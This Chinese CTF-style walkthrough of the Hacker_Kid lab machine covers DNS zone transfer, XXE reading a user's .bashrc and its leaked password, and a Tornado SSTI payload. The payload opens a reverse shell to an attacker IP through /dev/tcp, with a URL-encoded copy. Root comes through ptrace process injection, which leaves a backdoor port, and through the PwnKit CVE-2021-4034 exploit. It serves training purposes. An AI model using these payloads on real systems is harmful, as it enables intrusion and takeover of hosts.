5、Hacker_Kid-v1.0.1

中等难度 目标root权限

先进行一波IP地址发现

netdiscover -i eth0 -r 192.168.1.1/24

发现存在的靶机ip

进行一波端口的探测

发现是一个apache的服务和一个tornado的网站

这里有个细节部分,53端口常见的情况都是走的udp协议做的域名解析,这里查询出来是tcp协议,DNS里面的tcp协议一般用来做电脑上服务器与服务器之间的数据同步、区域传输(zone transfers)和更新之类的操作,udp协议用来做域名解析。

访问80端口以及9999端口

首先尝试一下这个9999端口的弱口令,尝试了一下常见的没有成功,在80页面看一看

好像有什么提示

顺便扫描一下目录文件

网站上面还有几个点击的地方

直接点击不会跳转过去,我扫描目录的时候扫描出app.html把这个#删除就可以直接访问了功能点好多。

摸了一圈这个功能点好像都失效了,回到前面的那个html的源码提示的地方有个page_no参数说什么使用get请求尝试一下

输入了页面有显示,喊我挖深一点

后面接参数的值,这里可以猜测,因为是page那么很有可能是数字,那么就跑一下

在值为21的时候出现了更多的提示,给了个域名hackers.blackhat.local

它说它留了很多的子域名作为后门,然后给出了一个子域名,这里要说到域名访问和使用ip访问是有不同的情况的,常见的直接访问ip和访问域名解析到的是同一个网站,但是也有一种可能是做了虚拟主机服务,不同的域名访问可以得到不同的网站内容。

那么就修改一波hosts文件

这里记得将子域和域名都做映射

不过当使用这个子域去访问的时候任然得到了原来ip访问的结果,看来不是这里

然后结合它一直在提示的DIG dig命令,其实我没有用过这个命令,所以也没有想到这个东西,再结合之前它一再提起的域名以及开放的53端口和前面说到的tcp,这个blackhat.local域名下面可能还隐藏着其他的子域名

看了看dig的使用,有一个axfr的使用方式

基本查询

dig example.com
这个命令会返回example.com的所有DNS记录。
指定记录类型

dig MX example.com
这个命令会返回example.com的MX(邮件交换)记录。
使用@符号指定DNS服务器

dig @8.8.8.8 example.com
这个命令会使用Google的公共DNS服务器(8.8.8.8)来查询example.com的记录。
递归查询

dig +trace example.com
这个命令会执行递归查询,显示从根DNS服务器到目标域名的完整解析过程。
显示统计信息
:
dig +stats example.com
这个命令会在输出的最后显示统计信息,如查询时间等。
使用TCP协议

dig +tcp example.com
默认情况下,dig 使用UDP协议进行查询。这个命令强制dig使用TCP协议。
指定查询类

dig +nocmd +nostats +noquestion +answer -t CH example.com
这个命令会显示查询的权威记录(CH代表CHAOS类)。
使用AXFR进行区域传输
:
dig axfr example.com @ns.example.com
这个命令尝试执行一个AXFR区域传输,从example.com的名称服务器ns.example.com获取所有记录。请注意,这通常需要适当的权限。
使用搜索域和搜索列表

dig search example.com @ns.search.com
这个命令会在指定的搜索域中查找example.com的记录。

网络断了一下,靶机新地址 192.168.100.39

这其实属于信息泄露,DNS服务器不应该将自己的解析信息展示出来的,那么从上面返回的域名中可以找到新的域名,拿着这几个新的域名先做一下hosts映射然后再访问一下

发现在访问http://hackerkid.blackhat.local/ 有了新的页面

这里注意一个小细节,那就是换了不同的域名配合之前扫到的那个9999端口也可以去尝试,毕竟不同域名加999端口可以又会有不同的页面。

简单测试一下这个网页有没有一些漏洞,一个注册框,没有明显的SQL注入,抓包发现使用的xml进行传输的数据,那么可以考虑xxe

也是很简单的属于直接引用的外部实体注入类型

看了一下这个saket可以登录,然后既然可以文件读取,那么就要想办法读取一些有价值的东西,比如尝试读取公私钥,读取这个saket的家目录下面的一些隐藏文件

另外网站使用的是php所以可以搭配php伪协议来实现文件内容的读取,有些文件不将他变为base64还读不出来。

发现访问了一圈好多东西都读不到,不过读取到了.bashrc 这是一个文件是 Bash shell 的一个配置文件,它保存了用户级的配置信息,这些配置会在每次启动新的 Bash 会话时被加载。这个文件通常位于用户的主目录下,例如 /home/username/.bashrc

解码后发现最后面有个

#Setting Password for running python app

username="admin"

password="Saket!#$%@!!"

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
    # We have color support; assume it's compliant with Ecma-48
    # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
    # a case would tend to support setf rather than setaf.)
    color_prompt=yes
    else
    color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

这账号密码有点眼熟,可能就是那个9999端口的服务的账号密码,然后尝试后并不是的

。。。原来是这个密码只是name是saket,那个admin是用来迷惑的。

进去之后就是这样的

这个在说你的名字是什么,其实就是在隐隐约约的告诉我们需要一个参数name,但是这个也是猜测的。

输入参数name=1页面回显了1,有一种xss的感觉,但是只是xss肯定是没有用的。可以怀疑会不会是SSTI因为这个端口开放的服务是tornado的服务。

通过检测{{2-1}}的时候进行了计算页面回显的1

tornado框架的SSTI我也不怎么了解,不过SSTI的打法我倒是知道,不过我之前遇到的都是先获取基类什么什么的一步一步获取到可以执行命令的类然后去执行。但是这里直接import os 然后os.system我倒是不知道,另外这里还得url编码一下

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.100.23/4455 0>&1"')}}

url编码:

        %7b%25+import+os+%25%7d%7b%7bos.system(%27bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.100.23%2f4455+0%3e%261%22%27)%7d%7d

看了一眼不在docker中

然后看了一眼history的信息

看着有些奇怪的东西

然后这里使用了一个capabilities提权方式,这是我没有听说过的。以及CVE-2021-4034通杀漏洞,这个靶机主要还是考察的那个capabilities提权的方式,至于这个CVE只是碰巧。

使用命令查看/sbin/getcap -r / 2>/dev/null

可以看到这个ptrace是有可能进行进程注入实现权限提升的

exp脚本:https://www.cnblogs.com/zlgxzswjy/p/15185591.html

然后寻找一个root权限的进程,使用命令ps -eaf|grep root

也可以直接使用脚本批量进行注入尝试

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 injection.py $i; done

就找一个apache的进程进行注入

然后将脚本上传上去使用python2.7进行执行注入

此脚本执行成功后会创建一个后门在5600端口

然后可以使用nc直接进行连接了

另外使用CVE-2021-4034进行提权,使用脚本:GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

直接将编译好的PwnKit传入靶机,然后赋予权限后./PwnKit运行

确实也可以直接提取至root权限

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值